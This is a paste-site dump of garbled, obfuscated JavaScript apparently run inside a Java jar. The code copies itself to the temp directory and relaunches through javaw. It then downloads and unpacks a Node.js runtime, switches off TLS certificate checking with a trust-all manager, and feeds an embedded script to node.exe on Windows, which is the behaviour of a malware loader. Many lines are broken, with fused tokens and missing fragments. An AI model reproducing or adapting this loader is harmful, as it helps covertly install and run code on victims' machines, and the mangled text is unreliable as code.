  997. var.lang.Thread, a = e.lang.ProcessBuilder, i = e.lang.Runtime, c = e.lang.System, u = (e.lang.Exception, e.lang.Class), l = e.lang.reflect.Array, s = e.net.URL, f = e.util.zip.ZipInputStream, g = e.io.File, w = e.io.FileOutputStream, d = e.io.FileInputStream, h = e.security.SecureRandom;
  998. functionprintStackTrace()
  999. }
  1000. catch (t) {
  1001.    try {
  1002.        e.rhinoException.printStackTrace()
  1003.    } catch (t) {
  1004.        try {
  1005.            e.javaException.printStackTrace()
  1006.        } catch (t) {
  1007.            c.err.println(e)
  1008.        }
  1009.    }
  1010. }
  1011. }
  1012. try {
  1013.    vargetProperty("java.io.tmpdir")).getAbsolutePath(), y = newotectionDomain().getCodeSource().getLocation().toURI()).getAbsolutePath();
  1014. if (y.endsWith(".jar")) {
  1015.    varnanoTime()).toString(16);
  1016. m = m.substring(m.length - 8) + ".tmp";
  1017. varnew = n(4096);
  1018. try {
  1019.    varfor(;
  1020.        (E = R.read(T)) > -1;) P.write(T, 0, E)
  1021. } finally {
  1022.    R.close()
  1023. }
  1024. } finally {
  1025.    P.close()
  1026. }
  1027. var = c.getProperty("java.home"), C = newn / javaw.exe ").getAbsolutePath();newS.getAbsolutePath()]).start(),o.sleep(15e3),c.exit(0)}}catch(e){p(e)}function){var(){varv("
  1028. PROCESSOR_ARCHITECTURE ");if(null==e)throwssore");
  1029. if (e.match(/32/g) || e.match(/x86/gi)) returnull != c.getenv("ProgramFiles(X86)") ? 64 : 32;
  1030. if (e.match(/64/g)) returnrror("unexpectedtecture:;if(32===e)return"
  1031.    x86 ";if(64===e)return"
  1032.    x64 ";throwsupportedecturenctionr=n(4096);try{for(;(r=e.read(a))>-1;)o.write(a,0,r);o.close()}catch(e){throw,o.close(),t.delete(),e}}functionll!=(r=n.getNextEntry());){var=r.getName(),a=newrectory()||(a.getParentFile().mkdirs(),k(n,a))}}functionr(var4.12.0-win-" + e, r = "https://nodejs.org/dist/v14.12.0/" + t + ".zip", n = t, a = newroperty("user.home", "./")).getAbsoluteFile(), i = newg(a, n + ".lock"), l = null;
  1033. !i.isDirectory();) try {
  1034.    for (;;)
  1035.        if (u.isFile()) u.delete() || o.sleep(500);
  1036.    elsery {
  1037.        l = newdeleteOnExit();
  1038.        break
  1039.    } catch (e) {
  1040.        p(e), o.sleep(500)
  1041.    }
  1042.    if (i.isDirectory()) break;
  1043.    varewc.nanoTime()), d = newarenConnection();
  1044. h.setConnectTimeout(15e3), h.setReadTimeout(15e3);
  1045. varStream();
  1046. try {
  1047.    if (A(v, f), !d.renameTo(i)) throwError("couldn'tmoveration");
  1048.    f.delete()
  1049. } finally {
  1050.    v.close()
  1051. }
  1052. } catch (e) {
  1053.    throw {
  1054.        p(e),
  1055.        o.sleep(1500)
  1056.    }
  1057.    finally {
  1058.        null != l && l.close(), u.delete()
  1059.    }
  1060.    return {
  1061.        var node.exe ");if(!t.isFile())thrownewexereturnACK;function{returnng.String(j.script).getBytes()}!function(){if(!c.getProperty("
  1062.        os.name ").match(/win/i))throwError("
  1063.        onlyowsenow ");!function(){try{vart.ssl.SSLContext,r=t.net.ssl.HttpsURLConnection,n=t.net.ssl.X509TrustManager,o=u.forName("
  1064.        java.security.cert.X509Certificate "),a=e.getInstance("
  1065.        SSL "),i=[newgetAcceptedIssuers:function(){returnce(o,[0])},checkClientTrusted:function(e,t){},checkServerTrusted:function(e,t){}})];a.init(null,i,newfaultSSLSocketFactory(a.getSocketFactory())}catch(e){p(e)}}(),function(e,t){varr=new.redirectInput(a.Redirect.PIPE)}catch(e){}try{r.redirectOutput(a.Redirect.INHERIT),r.redirectError(a.Redirect.INHERIT)}catch(e){}r.environment().put("
  1066.        NODE_SKIP_PLATFORM_CHECK ","
  1067.        1 ");varrt();i.getRuntime().addShutdownHook(newunction(){n.destroy()}}));varn.getOutputStream();u.write(t),u.flush(),u.close(),c.exit(n.waitFor())}(function(){for(var=0,r=arguments.length;t<r;t++)e+=arguments[t].length;var(e),o=0;for(t=0;t<r;t++)for(vara=arguments[t],i=0,c=a.length;i<c;i++,o++)n[o]=a[i];returnunction(){for(vare=F(b(t));break}catch(e){p(e),o.sleep(1500)}returnutePath()," - "],j.arguments),N())}()}();
Add Comment
Please, Sign In to add comment